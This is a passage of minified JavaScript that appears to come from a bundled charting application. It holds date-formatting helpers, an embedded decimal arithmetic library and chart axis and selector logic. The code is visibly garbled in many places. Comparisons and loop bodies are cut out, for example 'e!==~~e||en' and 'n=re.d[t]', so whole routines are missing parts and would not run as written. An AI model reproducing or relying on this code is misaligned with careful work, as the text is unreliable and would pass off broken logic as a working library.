e=n>=4||n===0?es(e):es.ceil(e),Ce(e.getFullYear()%1e4,t,4)}function b7(e){var t=e.getTimezoneOffset();return(t>0?"-":(t*=-1,"+"))+Ce(t/60|0,"0",2)+Ce(t%60,"0",2)}function J1(e,t){return Ce(e.getUTCDate(),t,2)}function w7(e,t){return Ce(e.getUTCHours(),t,2)}function j7(e,t){return Ce(e.getUTCHours()%12||12,t,2)}function k7(e,t){return Ce(1+Fd.count(Or(e),e),t,3)}function e4(e,t){return Ce(e.getUTCMilliseconds(),t,3)}function N7(e,t){return e4(e,t)+"000"}function S7(e,t){return Ce(e.getUTCMonth()+1,t,2)}function z7(e,t){return Ce(e.getUTCMinutes(),t,2)}function C7(e,t){return Ce(e.getUTCSeconds(),t,2)}function P7(e){var t=e.getUTCDay();return t===0?7:t}function E7(e,t){return Ce(Ud.count(Or(e)-1,e),t,2)}function t4(e){var t=e.getUTCDay();return t>=4||t===0?ts(e):ts.ceil(e)}function A7(e,t){return e=t4(e),Ce(ts.count(Or(e),e)+(Or(e).getUTCDay()===4),t,2)}function _7(e){return e.getUTCDay()}function O7(e,t){return Ce(Nu.count(Or(e)-1,e),t,2)}function T7(e,t){return Ce(e.getUTCFullYear()%100,t,2)}function M7(e,t){return e=t4(e),Ce(e.getUTCFullYear()%100,t,2)}function L7(e,t){return Ce(e.getUTCFullYear()%1e4,t,4)}function I7(e,t){var n=e.getUTCDay();return e=n>=4||n===0?ts(e):ts.ceil(e),Ce(e.getUTCFullYear()%1e4,t,4)}function D7(){return"+0000"}function eb(){return"%"}function tb(e){return+e}function nb(e){return Math.floor(+e/1e3)}var pa,n4,r4;R7({dateTime:"%x, %X",date:"%-m/%-d/%Y",time:"%-I:%M:%S %p",periods:["AM","PM"],days:["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],shortDays:["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],months:["January","February","March","April","May","June","July","August","September","October","November","December"],shortMonths:["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"]});function R7(e){return pa=RL(e),n4=pa.format,pa.parse,r4=pa.utcFormat,pa.utcParse,pa}function $7(e){return new Date(e)}function B7(e){return e instanceof Date?+e:+new Date(+e)}function p0(e,t,n,r,i,a,o,l,c,u){var d=Jx(),f=d.invert,m=d.domain,h=u(".%L"),x=u(":%S"),g=u("%I:%M"),y=u("%I %p"),v=u("%a %d"),b=u("%b %d"),w=u("%B"),j=u("%Y");function k(S){return(c(S)t(i/(e.length-1)))},n.quantiles=function(r){return Array.from({length:r+1},(i,a)=>P8(e,a/r))},n.copy=function(){return o4(t).domain(e)},Br.apply(n,arguments)}function Hd(){var e=0,t=.5,n=1,r=1,i,a,o,l,c,u=Lt,d,f=!1,m;function h(g){return isNaN(g=+g)?m:(g=.5+((g=+d(g))-a)*(r*ge.chartData,Kd=T([Fr],e=>{var t=e.chartData!=null?e.chartData.length-1:0;return{chartData:e.chartData,computedData:e.computedData,dataEndIndex:t,dataStartIndex:0}}),d4=(e,t,n,r)=>r?Kd(e):Fr(e),H7=(e,t,n)=>n?Kd(e):Fr(e);function Tr(e){if(Array.isArray(e)&&e.length===2){var[t,n]=e;if(ze(t)&&ze(n))return!0}return!1}function rb(e,t,n){return n?e:[Math.min(e[0],t[0]),Math.max(e[1],t[1])]}function f4(e,t){if(t&&typeof e!="function"&&Array.isArray(e)&&e.length===2){var[n,r]=e,i,a;if(ze(n))i=n;else if(typeof n=="function")return;if(ze(r))a=r;else if(typeof r=="function")return;var o=[i,a];if(Tr(o))return o}}function K7(e,t,n){if(!(!n&&t==null)){if(typeof e=="function"&&t!=null)try{var r=e(t,n);if(Tr(r))return rb(r,t,n)}catch{}if(Array.isArray(e)&&e.length===2){var[i,a]=e,o,l;if(i==="auto")t!=null&&(o=Math.min(...t));else if(he(i))o=i;else if(typeof i=="function")try{t!=null&&(o=i(t==null?void 0:t[0]))}catch{}else if(typeof i=="string"&&wy.test(i)){var c=wy.exec(i);if(c==null||c[1]==null||t==null)o=void 0;else{var u=+c[1];o=t[0]-u}}else o=t==null?void 0:t[0];if(a==="auto")t!=null&&(l=Math.max(...t));else if(he(a))l=a;else if(typeof a=="function")try{t!=null&&(l=a(t==null?void 0:t[1]))}catch{}else if(typeof a=="string"&&jy.test(a)){var d=jy.exec(a);if(d==null||d[1]==null||t==null)l=void 0;else{var f=+d[1];l=t[1]+f}}else l=t==null?void 0:t[1];var m=[o,l];if(Tr(m))return t==null?m:rb(m,t,n)}}}var fs=1e9,q7={precision:20,rounding:4,toExpNeg:-7,toExpPos:21,LN10:"2.302585092994045684017991454684364207601101488628772976033327900967572609677352480235997205089598298341967784042286"},v0,He=!0,Cn="[DecimalError] ",Hi=Cn+"Invalid argument: ",x0=Cn+"Exponent out of range: ",ps=Math.floor,Ti=Math.pow,Y7=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,tn,xt=1e7,$e=7,p4=9007199254740991,Su=ps(p4/$e),ce={};ce.absoluteValue=ce.abs=function(){var e=new this.constructor(this);return e.s&&(e.s=1),e};ce.comparedTo=ce.cmp=function(e){var t,n,r,i,a=this;if(e=new a.constructor(e),a.s!==e.s)return a.s||-e.s;if(a.e!==e.e)return a.e>e.e^a.s<0?1:-1;for(r=a.d.length,i=e.d.length,t=0,n=re.d[t]^a.s<0?1:-1;return r===i?0:r>i^a.s<0?1:-1};ce.decimalPlaces=ce.dp=function(){var e=this,t=e.d.length-1,n=(t-e.e)*$e;if(t=e.d[t],t)for(;t%10==0;t/=10)n--;return n<0?0:n};ce.dividedBy=ce.div=function(e){return jr(this,new this.constructor(e))};ce.dividedToIntegerBy=ce.idiv=function(e){var t=this,n=t.constructor;return Te(jr(t,new n(e),0,1),n.precision)};ce.equals=ce.eq=function(e){return!this.cmp(e)};ce.exponent=function(){return ot(this)};ce.greaterThan=ce.gt=function(e){return this.cmp(e)>0};ce.greaterThanOrEqualTo=ce.gte=function(e){return this.cmp(e)>=0};ce.isInteger=ce.isint=function(){return this.e>this.d.length-2};ce.isNegative=ce.isneg=function(){return this.s<0};ce.isPositive=ce.ispos=function(){return this.s>0};ce.isZero=function(){return this.s===0};ce.lessThan=ce.lt=function(e){return this.cmp(e)<0};ce.lessThanOrEqualTo=ce.lte=function(e){return this.cmp(e)<1};ce.logarithm=ce.log=function(e){var t,n=this,r=n.constructor,i=r.precision,a=i+5;if(e===void 0)e=new r(10);else if(e=new r(e),e.s<1||e.eq(tn))throw Error(Cn+"NaN");if(n.s<1)throw Error(Cn+(n.s?"NaN":"-Infinity"));return n.eq(tn)?new r(0):(He=!1,t=jr(Bo(n,a),Bo(e,a),a),He=!0,Te(t,i))};ce.minus=ce.sub=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?x4(t,e):m4(t,(e.s=-e.s,e))};ce.modulo=ce.mod=function(e){var t,n=this,r=n.constructor,i=r.precision;if(e=new r(e),!e.s)throw Error(Cn+"NaN");return n.s?(He=!1,t=jr(n,e,0,1).times(e),He=!0,n.minus(t)):Te(new r(n),i)};ce.naturalExponential=ce.exp=function(){return h4(this)};ce.naturalLogarithm=ce.ln=function(){return Bo(this)};ce.negated=ce.neg=function(){var e=new this.constructor(this);return e.s=-e.s||0,e};ce.plus=ce.add=function(e){var t=this;return e=new t.constructor(e),t.s==e.s?m4(t,e):x4(t,(e.s=-e.s,e))};ce.precision=ce.sd=function(e){var t,n,r,i=this;if(e!==void 0&&e!==!!e&&e!==1&&e!==0)throw Error(Hi+e);if(t=ot(i)+1,r=i.d.length-1,n=r*$e+1,r=i.d[r],r){for(;r%10==0;r/=10)n--;for(r=i.d[0];r>=10;r/=10)n++}return e&&t>n?t:n};ce.squareRoot=ce.sqrt=function(){var e,t,n,r,i,a,o,l=this,c=l.constructor;if(l.s<1){if(!l.s)return new c(0);throw Error(Cn+"NaN")}for(e=ot(l),He=!1,i=Math.sqrt(+l),i==0||i==1/0?(t=ir(l.d),(t.length+e)%2==0&&(t+="0"),i=Math.sqrt(t),e=ps((e+1)/2)-(e<0||e%2),i==1/0?t="5e"+e:(t=i.toExponential(),t=t.slice(0,t.indexOf("e")+1)+e),r=new c(t)):r=new c(i.toString()),n=c.precision,i=o=n+3;;)if(a=r,r=a.plus(jr(l,a,o+2)).times(.5),ir(a.d).slice(0,o)===(t=ir(r.d)).slice(0,o)){if(t=t.slice(o-3,o+1),i==o&&t=="4999"){if(Te(a,n+1,0),a.times(a).eq(l)){r=a;break}}else if(t!="9999")break;o+=4}return He=!0,Te(r,n)};ce.times=ce.mul=function(e){var t,n,r,i,a,o,l,c,u,d=this,f=d.constructor,m=d.d,h=(e=new f(e)).d;if(!d.s||!e.s)return new f(0);for(e.s*=d.s,n=d.e+e.e,c=m.length,u=h.length,c=0;){for(t=0,i=c+r;i>r;)l=a[i]+h[r]*m[i-r-1]+t,a[i--]=l%xt|0,t=l/xt|0;a[i]=(a[i]+t)%xt|0}for(;!a[--o];)a.pop();return t?++n:a.shift(),e.d=a,e.e=n,He?Te(e,f.precision):e};ce.toDecimalPlaces=ce.todp=function(e,t){var n=this,r=n.constructor;return n=new r(n),e===void 0?n:(cr(e,0,fs),t===void 0?t=r.rounding:cr(t,0,8),Te(n,e+ot(n)+1,t))};ce.toExponential=function(e,t){var n,r=this,i=r.constructor;return e===void 0?n=aa(r,!0):(cr(e,0,fs),t===void 0?t=i.rounding:cr(t,0,8),r=Te(new i(r),e+1,t),n=aa(r,!0,e+1)),n};ce.toFixed=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?aa(i):(cr(e,0,fs),t===void 0?t=a.rounding:cr(t,0,8),r=Te(new a(i),e+ot(i)+1,t),n=aa(r.abs(),!1,e+ot(r)+1),i.isneg()&&!i.isZero()?"-"+n:n)};ce.toInteger=ce.toint=function(){var e=this,t=e.constructor;return Te(new t(e),ot(e)+1,t.rounding)};ce.toNumber=function(){return+this};ce.toPower=ce.pow=function(e){var t,n,r,i,a,o,l=this,c=l.constructor,u=12,d=+(e=new c(e));if(!e.s)return new c(tn);if(l=new c(l),!l.s){if(e.s<1)throw Error(Cn+"Infinity");return l}if(l.eq(tn))return l;if(r=c.precision,e.eq(tn))return Te(l,r);if(t=e.e,n=e.d.length-1,o=t>=n,a=l.s,o){if((n=d<0?-d:d)<=p4){for(i=new c(tn),t=Math.ceil(r/$e+4),He=!1;n%2&&(i=i.times(l),ab(i.d,t)),n=ps(n/2),n!==0;)l=l.times(l),ab(l.d,t);return He=!0,e.s<0?new c(tn).div(i):Te(i,r)}}else if(a<0)throw Error(Cn+"NaN");return a=a<0&&e.d[Math.max(t,n)]&1?-1:1,l.s=1,He=!1,i=e.times(Bo(l,r+u)),He=!0,i=h4(i),i.s=a,i};ce.toPrecision=function(e,t){var n,r,i=this,a=i.constructor;return e===void 0?(n=ot(i),r=aa(i,n<=a.toExpNeg||n>=a.toExpPos)):(cr(e,1,fs),t===void 0?t=a.rounding:cr(t,0,8),i=Te(new a(i),e,t),n=ot(i),r=aa(i,e<=n||n<=a.toExpNeg,e)),r};ce.toSignificantDigits=ce.tosd=function(e,t){var n=this,r=n.constructor;return e===void 0?(e=r.precision,t=r.rounding):(cr(e,1,fs),t===void 0?t=r.rounding:cr(t,0,8)),Te(new r(n),e,t)};ce.toString=ce.valueOf=ce.val=ce.toJSON=ce[Symbol.for("nodejs.util.inspect.custom")]=function(){var e=this,t=ot(e),n=e.constructor;return aa(e,t<=n.toExpNeg||t>=n.toExpPos)};function m4(e,t){var n,r,i,a,o,l,c,u,d=e.constructor,f=d.precision;if(!e.s||!t.s)return t.s||(t=new d(e)),He?Te(t,f):t;if(c=e.d,u=t.d,o=e.e,i=t.e,c=c.slice(),a=o-i,a){for(a<0?(r=c,a=-a,l=u.length):(r=u,i=o,l=c.length),o=Math.ceil(f/$e),l=o>l?o+1:l+1,a>l&&(a=l,r.length=1),r.reverse();a--;)r.push(0);r.reverse()}for(l=c.length,a=u.length,l-a<0&&(a=l,r=u,u=c,c=r),n=0;a;)n=(c[--a]=c[a]+u[a]+n)/xt|0,c[a]%=xt;for(n&&(c.unshift(n),++i),l=c.length;c[--l]==0;)c.pop();return t.d=c,t.e=i,He?Te(t,f):t}function cr(e,t,n){if(e!==~~e||en)throw Error(Hi+e)}function ir(e){var t,n,r,i=e.length-1,a="",o=e[0];if(i>0){for(a+=o,t=1;to?1:-1;else for(l=c=0;li[l]?1:-1;break}return c}function n(r,i,a){for(var o=0;a--;)r[a]-=o,o=r[a]1;)r.shift()}return function(r,i,a,o){var l,c,u,d,f,m,h,x,g,y,v,b,w,j,k,S,N,z,_=r.constructor,A=r.s==i.s?1:-1,O=r.d,P=i.d;if(!r.s)return new _(r);if(!i.s)throw Error(Cn+"Division by zero");for(c=r.e-i.e,N=P.length,k=O.length,h=new _(A),x=h.d=[],u=0;P[u]==(O[u]||0);)++u;if(P[u]>(O[u]||0)&&--c,a==null?b=a=_.precision:o?b=a+(ot(r)-ot(i))+1:b=a,b<0)return new _(0);if(b=b/$e+2|0,u=0,N==1)for(d=0,P=P[0],b++;(u1&&(P=e(P,d),O=e(O,d),N=P.length,k=O.length),j=N,g=O.slice(0,N),y=g.length;y=xt/2&&++S;do d=0,l=t(P,g,N,y),l<0?(v=g[0],N!=y&&(v=v*xt+(g[1]||0)),d=v/S|0,d>1?(d>=xt&&(d=xt-1),f=e(P,d),m=f.length,y=g.length,l=t(f,g,m,y),l==1&&(d--,n(f,N16)throw Error(x0+ot(e));if(!e.s)return new d(tn);for(He=!1,l=f,o=new d(.03125);e.abs().gte(.1);)e=e.times(o),u+=5;for(r=Math.log(Ti(2,u))/Math.LN10*2+5|0,l+=r,n=i=a=new d(tn),d.precision=l;;){if(i=Te(i.times(e),l),n=n.times(++c),o=a.plus(jr(i,n,l)),ir(o.d).slice(0,l)===ir(a.d).slice(0,l)){for(;u--;)a=Te(a.times(a),l);return d.precision=f,t==null?(He=!0,Te(a,f)):a}a=o}}function ot(e){for(var t=e.e*$e,n=e.d[0];n>=10;n/=10)t++;return t}function dp(e,t,n){if(t>e.LN10.sd())throw He=!0,n&&(e.precision=n),Error(Cn+"LN10 precision limit exceeded");return Te(new e(e.LN10),t)}function Yr(e){for(var t="";e--;)t+="0";return t}function Bo(e,t){var n,r,i,a,o,l,c,u,d,f=1,m=10,h=e,x=h.d,g=h.constructor,y=g.precision;if(h.s<1)throw Error(Cn+(h.s?"NaN":"-Infinity"));if(h.eq(tn))return new g(0);if(t==null?(He=!1,u=y):u=t,h.eq(10))return t==null&&(He=!0),dp(g,u);if(u+=m,g.precision=u,n=ir(x),r=n.charAt(0),a=ot(h),Math.abs(a)<15e14){for(;r<7&&r!=1||r==1&&n.charAt(1)>3;)h=h.times(e),n=ir(h.d),r=n.charAt(0),f++;a=ot(h),r>1?(h=new g("0."+n),a++):h=new g(r+"."+n.slice(1))}else return c=dp(g,u+2,y).times(a+""),h=Bo(new g(r+"."+n.slice(1)),u-m).plus(c),g.precision=y,t==null?(He=!0,Te(h,y)):h;for(l=o=h=jr(h.minus(tn),h.plus(tn),u),d=Te(h.times(h),u),i=3;;){if(o=Te(o.times(d),u),c=l.plus(jr(o,new g(i),u)),ir(c.d).slice(0,u)===ir(l.d).slice(0,u))return l=l.times(2),a!==0&&(l=l.plus(dp(g,u+2,y).times(a+""))),l=jr(l,new g(f),u),g.precision=y,t==null?(He=!0,Te(l,y)):l;l=c,i+=2}}function ib(e,t){var n,r,i;for((n=t.indexOf("."))>-1&&(t=t.replace(".","")),(r=t.search(/e/i))>0?(n<0&&(n=r),n+=+t.slice(r+1),t=t.substring(0,r)):n<0&&(n=t.length),r=0;t.charCodeAt(r)===48;)++r;for(i=t.length;t.charCodeAt(i-1)===48;)--i;if(t=t.slice(r,i),t){if(i-=r,n=n-r-1,e.e=ps(n/$e),e.d=[],r=(n+1)%$e,n<0&&(r+=$e),rSu||e.e<-Su))throw Error(x0+n)}else e.s=0,e.e=0,e.d=[0];return e}function Te(e,t,n){var r,i,a,o,l,c,u,d,f=e.d;for(o=1,a=f[0];a>=10;a/=10)o++;if(r=t-o,r<0)r+=$e,i=t,u=f[d=0];else{if(d=Math.ceil((r+1)/$e),a=f.length,d>=a)return e;for(u=a=f[d],o=1;a>=10;a/=10)o++;r%=$e,i=r-$e+o}if(n!==void 0&&(a=Ti(10,o-i-1),l=u/a%10|0,c=t<0||f[d+1]!==void 0||u%a,c=n<4?(l||c)&&(n==0||n==(e.s<0?3:2)):l>5||l==5&&(n==4||c||n==6&&(r>0?i>0?u/Ti(10,o-i):0:f[d-1])%10&1||n==(e.s<0?8:7))),t<1||!f[0])return c?(a=ot(e),f.length=1,t=t-a-1,f[0]=Ti(10,($e-t%$e)%$e),e.e=ps(-t/$e)||0):(f.length=1,f[0]=e.e=e.s=0),e;if(r==0?(f.length=d,a=1,d--):(f.length=d+1,a=Ti(10,$e-r),f[d]=i>0?(u/Ti(10,o-i)%Ti(10,i)|0)*a:0),c)for(;;)if(d==0){(f[0]+=a)==xt&&(f[0]=1,++e.e);break}else{if(f[d]+=a,f[d]!=xt)break;f[d--]=0,a=1}for(r=f.length;f[--r]===0;)f.pop();if(He&&(e.e>Su||e.e<-Su))throw Error(x0+ot(e));return e}function x4(e,t){var n,r,i,a,o,l,c,u,d,f,m=e.constructor,h=m.precision;if(!e.s||!t.s)return t.s?t.s=-t.s:t=new m(e),He?Te(t,h):t;if(c=e.d,f=t.d,r=t.e,u=e.e,c=c.slice(),o=u-r,o){for(d=o<0,d?(n=c,o=-o,l=f.length):(n=f,r=u,l=c.length),i=Math.max(Math.ceil(h/$e),l)+2,o>i&&(o=i,n.length=1),n.reverse(),i=o;i--;)n.push(0);n.reverse()}else{for(i=c.length,l=f.length,d=i0;--i)c[l++]=0;for(i=f.length;i>o;){if(c[--i]0?a=a.charAt(0)+"."+a.slice(1)+Yr(r):o>1&&(a=a.charAt(0)+"."+a.slice(1)),a=a+(i<0?"e":"e+")+i):i<0?(a="0."+Yr(-i-1)+a,n&&(r=n-o)>0&&(a+=Yr(r))):i>=o?(a+=Yr(i+1-o),n&&(r=n-i-1)>0&&(a=a+"."+Yr(r))):((r=i+1)0&&(i+1===o&&(a+="."),a+=Yr(r))),e.s<0?"-"+a:a}function ab(e,t){if(e.length>t)return e.length=t,!0}function v4(e){var t,n,r;function i(a){var o=this;if(!(o instanceof i))return new i(a);if(o.constructor=i,a instanceof i){o.s=a.s,o.e=a.e,o.d=(a=a.d)?a.slice():a;return}if(typeof a=="number"){if(a*0!==0)throw Error(Hi+a);if(a>0)o.s=1;else if(a<0)a=-a,o.s=-1;else{o.s=0,o.e=0,o.d=[0];return}if(a===~~a&&a<1e7){o.e=0,o.d=[a];return}return ib(o,a.toString())}else if(typeof a!="string")throw Error(Hi+a);if(a.charCodeAt(0)===45?(a=a.slice(1),o.s=-1):o.s=1,Y7.test(a))ib(o,a);else throw Error(Hi+a)}if(i.prototype=ce,i.ROUND_UP=0,i.ROUND_DOWN=1,i.ROUND_CEIL=2,i.ROUND_FLOOR=3,i.ROUND_HALF_UP=4,i.ROUND_HALF_DOWN=5,i.ROUND_HALF_EVEN=6,i.ROUND_HALF_CEIL=7,i.ROUND_HALF_FLOOR=8,i.clone=v4,i.config=i.set=G7,e===void 0&&(e={}),e)for(r=["precision","rounding","toExpNeg","toExpPos","LN10"],t=0;t=i[t+1]&&r<=i[t+2])this[n]=r;else throw Error(Hi+n+": "+r);if((r=e[n="LN10"])!==void 0)if(r==Math.LN10)this[n]=new this(r);else throw Error(Hi+n+": "+r);return this}var v0=v4(q7);tn=new v0(1);const Pe=v0;function g4(e){var t;return e===0?t=1:t=Math.floor(new Pe(e).abs().log(10).toNumber())+1,t}function y4(e,t,n){for(var r=new Pe(e),i=0,a=[];r.lt(t)&&i<1e5;)a.push(r.toNumber()),r=r.add(n),i++;return a}var b4=e=>{var[t,n]=e,[r,i]=[t,n];return t>n&&([r,i]=[n,t]),[r,i]},w4=(e,t,n)=>{if(e.lte(0))return new Pe(0);var r=g4(e.toNumber()),i=new Pe(10).pow(r),a=e.div(i),o=r!==1?.05:.1,l=new Pe(Math.ceil(a.div(o).toNumber())).add(n).mul(o),c=l.mul(i);return t?new Pe(c.toNumber()):new Pe(Math.ceil(c.toNumber()))},X7=(e,t,n)=>{var r=new Pe(1),i=new Pe(e);if(!i.isint()&&n){var a=Math.abs(e);a<1?(r=new Pe(10).pow(g4(e)-1),i=new Pe(Math.floor(i.div(r).toNumber())).mul(r)):a>1&&(i=new Pe(Math.floor(e)))}else e===0?i=new Pe(Math.floor((t-1)/2)):n||(i=new Pe(Math.floor(e)));for(var o=Math.floor((t-1)/2),l=[],c=0;c4&&arguments[4]!==void 0?arguments[4]:0;if(!Number.isFinite((n-t)/(r-1)))return{step:new Pe(0),tickMin:new Pe(0),tickMax:new Pe(0)};var o=w4(new Pe(n).sub(t).div(r-1),i,a),l;t<=0&&n>=0?l=new Pe(0):(l=new Pe(t).add(n).div(2),l=l.sub(new Pe(l).mod(o)));var c=Math.ceil(l.sub(t).div(o).toNumber()),u=Math.ceil(new Pe(n).sub(l).div(o).toNumber()),d=c+u+1;return d>r?j4(t,n,r,i,a+1):(d0?u+(r-d):u,c=n>0?c:c+(r-d)),{step:o,tickMin:l.sub(new Pe(c).mul(o)),tickMax:l.add(new Pe(u).mul(o))})},Z7=function(t){var[n,r]=t,i=arguments.length>1&&arguments[1]!==void 0?arguments[1]:6,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,o=Math.max(i,2),[l,c]=b4([n,r]);if(l===-1/0||c===1/0){var u=c===1/0?[l,...Array(i-1).fill(1/0)]:[...Array(i-1).fill(-1/0),c];return n>r?u.reverse():u}if(l===c)return X7(l,i,a);var{step:d,tickMin:f,tickMax:m}=j4(l,c,o,a,0),h=y4(f,m.add(new Pe(.1).mul(d)),d);return n>r?h.reverse():h},Q7=function(t,n){var[r,i]=t,a=arguments.length>2&&arguments[2]!==void 0?arguments[2]:!0,[o,l]=b4([r,i]);if(o===-1/0||l===1/0)return[r,i];if(o===l)return[o];var c=Math.max(n,2),u=w4(new Pe(l).sub(o).div(c-1),a,0),d=[...y4(new Pe(o),new Pe(l),u),l];return a===!1&&(d=d.map(f=>Math.round(f))),r>i?d.reverse():d},J7=e=>e.rootProps.barCategoryGap,al=e=>e.rootProps.stackOffset,k4=e=>e.rootProps.reverseStackOrder,g0=e=>e.options.chartName,y0=e=>e.rootProps.syncId,N4=e=>e.rootProps.syncMethod,b0=e=>e.options.eventEmitter,eI=e=>e.rootProps.baseValue,Ht={grid:-100,barBackground:-50,area:100,cursorRectangle:200,bar:300,line:400,axis:500,scatter:600,activeBar:1e3,cursorLine:1100,activeDot:1200,label:2e3},zi={allowDecimals:!1,allowDataOverflow:!1,angleAxisId:0,reversed:!1,scale:"auto",tick:!0,type:"auto"},Qn={allowDataOverflow:!1,allowDecimals:!1,allowDuplicatedCategory:!0,includeHidden:!1,radiusAxisId:0,reversed:!1,scale:"auto",tick:!0,tickCount:5,type:"auto"},qd=(e,t)=>{if(!(!e||!t))return e!=null&&e.reversed?[t[1],t[0]]:t};function S4(e,t,n){if(n!=="auto")return n;if(e!=null)return fr(e,t)?"category":"number"}function sb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function zu(e){for(var t=1;t{if(t!=null)return e.polarAxis.angleAxis[t]},w0=T([iI,oN],(e,t)=>{var n;if(e!=null)return e;var r=(n=S4(t,"angleAxis",ob.type))!==null&&n!==void 0?n:"category";return zu(zu({},ob),{},{type:r})}),aI=(e,t)=>e.polarAxis.radiusAxis[t],j0=T([aI,oN],(e,t)=>{var n;if(e!=null)return e;var r=(n=S4(t,"radiusAxis",lb.type))!==null&&n!==void 0?n:"category";return zu(zu({},lb),{},{type:r})}),Yd=e=>e.polarOptions,k0=T([Rr,$r,yt],NN),z4=T([Yd,k0],(e,t)=>{if(e!=null)return sn(e.innerRadius,t,0)}),C4=T([Yd,k0],(e,t)=>{if(e!=null)return sn(e.outerRadius,t,t*.8)}),sI=e=>{if(e==null)return[0,0];var{startAngle:t,endAngle:n}=e;return[t,n]},P4=T([Yd],sI);T([w0,P4],qd);var E4=T([k0,z4,C4],(e,t,n)=>{if(!(e==null||t==null||n==null))return[t,n]});T([j0,E4],qd);var A4=T([Me,Yd,z4,C4,Rr,$r],(e,t,n,r,i,a)=>{if(!(e!=="centric"&&e!=="radial"||t==null||n==null||r==null)){var{cx:o,cy:l,startAngle:c,endAngle:u}=t;return{cx:sn(o,i,i/2),cy:sn(l,a,a/2),innerRadius:n,outerRadius:r,startAngle:c,endAngle:u,clockWise:!1}}}),Ze=(e,t)=>t,sl=(e,t,n)=>n;function N0(e){return e==null?void 0:e.id}function _4(e,t,n){var{chartData:r=[]}=t,{allowDuplicatedCategory:i,dataKey:a}=n,o=new Map;return e.forEach(l=>{var c,u=(c=l.data)!==null&&c!==void 0?c:r;if(!(u==null||u.length===0)){var d=N0(l);u.forEach((f,m)=>{var h=a==null||i?m:String(Fe(f,a,null)),x=Fe(f,l.dataKey,0),g;o.has(h)?g=o.get(h):g={},Object.assign(g,{[d]:x}),o.set(h,g)})}}),Array.from(o.values())}function S0(e){return"stackId"in e&&e.stackId!=null&&e.dataKey!=null}var Gd=(e,t)=>e===t?!0:e==null||t==null?!1:e[0]===t[0]&&e[1]===t[1];function Xd(e,t){return Array.isArray(e)&&Array.isArray(t)&&e.length===0&&t.length===0?!0:e===t}function oI(e,t){if(e.length===t.length){for(var n=0;n{var t=Me(e);return t==="horizontal"?"xAxis":t==="vertical"?"yAxis":t==="centric"?"angleAxis":"radiusAxis"},ms=e=>e.tooltip.settings.axisId;function lI(e){if(e in qs)return qs[e]();var t="scale".concat(Go(e));if(t in qs)return qs[t]()}function cb(e){var t=e.ticks,n=e.bandwidth,r=e.range(),i=[Math.min(...r),Math.max(...r)];return{domain:()=>e.domain(),range:function(a){function o(){return a.apply(this,arguments)}return o.toString=function(){return a.toString()},o}(()=>i),rangeMin:()=>i[0],rangeMax:()=>i[1],isInRange(a){var o=i[0],l=i[1];return o<=l?a>=o&&a<=l:a>=l&&a<=o},bandwidth:n?()=>n.call(e):void 0,ticks:t?a=>t.call(e,a):void 0,map:(a,o)=>{var l=e(a);if(l!=null){if(e.bandwidth&&o!==null&&o!==void 0&&o.position){var c=e.bandwidth();switch(o.position){case"middle":l+=c/2;break;case"end":l+=c;break}}return l}}}}function ub(e,t,n){if(typeof e=="function")return cb(e.copy().domain(t).range(n));if(e!=null){var r=lI(e);if(r!=null)return r.domain(t).range(n),cb(r)}}var O4=(e,t)=>{if(t!=null)switch(e){case"linear":{if(!Tr(t)){for(var n,r,i=0;ir)&&(r=a))}return n!==void 0&&r!==void 0?[n,r]:void 0}return t}default:return t}};function db(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Cu(e){for(var t=1;te.cartesianAxis.xAxis[t],Wr=(e,t)=>{var n=fI(e,t);return n??T4},M4={allowDataOverflow:!1,allowDecimals:!0,allowDuplicatedCategory:!0,angle:0,dataKey:void 0,domain:oh,hide:!0,id:0,includeHidden:!1,interval:"preserveEnd",minTickGap:5,mirror:!1,name:void 0,orientation:"left",padding:{top:0,bottom:0},reversed:!1,scale:"auto",tick:!0,tickCount:5,tickFormatter:void 0,ticks:void 0,type:"number",unit:void 0,width:Qo},pI=(e,t)=>e.cartesianAxis.yAxis[t],Ur=(e,t)=>{var n=pI(e,t);return n??M4},mI={domain:[0,"auto"],includeHidden:!1,reversed:!1,allowDataOverflow:!1,allowDuplicatedCategory:!1,dataKey:void 0,id:0,name:"",range:[64,64],scale:"auto",type:"number",unit:""},z0=(e,t)=>{var n=e.cartesianAxis.zAxis[t];return n??mI},tt=(e,t,n)=>{switch(t){case"xAxis":return Wr(e,n);case"yAxis":return Ur(e,n);case"zAxis":return z0(e,n);case"angleAxis":return w0(e,n);case"radiusAxis":return j0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},hI=(e,t,n)=>{switch(t){case"xAxis":return Wr(e,n);case"yAxis":return Ur(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},hs=(e,t,n)=>{switch(t){case"xAxis":return Wr(e,n);case"yAxis":return Ur(e,n);case"angleAxis":return w0(e,n);case"radiusAxis":return j0(e,n);default:throw new Error("Unexpected axis type: ".concat(t))}},L4=e=>e.graphicalItems.cartesianItems.some(t=>t.type==="bar")||e.graphicalItems.polarItems.some(t=>t.type==="radialBar");function C0(e,t){return n=>{switch(e){case"xAxis":return"xAxisId"in n&&n.xAxisId===t;case"yAxis":return"yAxisId"in n&&n.yAxisId===t;case"zAxis":return"zAxisId"in n&&n.zAxisId===t;case"angleAxis":return"angleAxisId"in n&&n.angleAxisId===t;case"radiusAxis":return"radiusAxisId"in n&&n.radiusAxisId===t;default:return!1}}}var I4=e=>e.graphicalItems.cartesianItems,xI=T([Ze,sl],C0),P0=(e,t,n)=>e.filter(n).filter(r=>(t==null?void 0:t.includeHidden)===!0?!0:!r.hide),ol=T([I4,tt,xI],P0,{memoizeOptions:{resultEqualityCheck:Xd}}),D4=T([ol],e=>e.filter(t=>t.type==="area"||t.type==="bar").filter(S0)),R4=e=>e.filter(t=>!("stackId"in t)||t.stackId===void 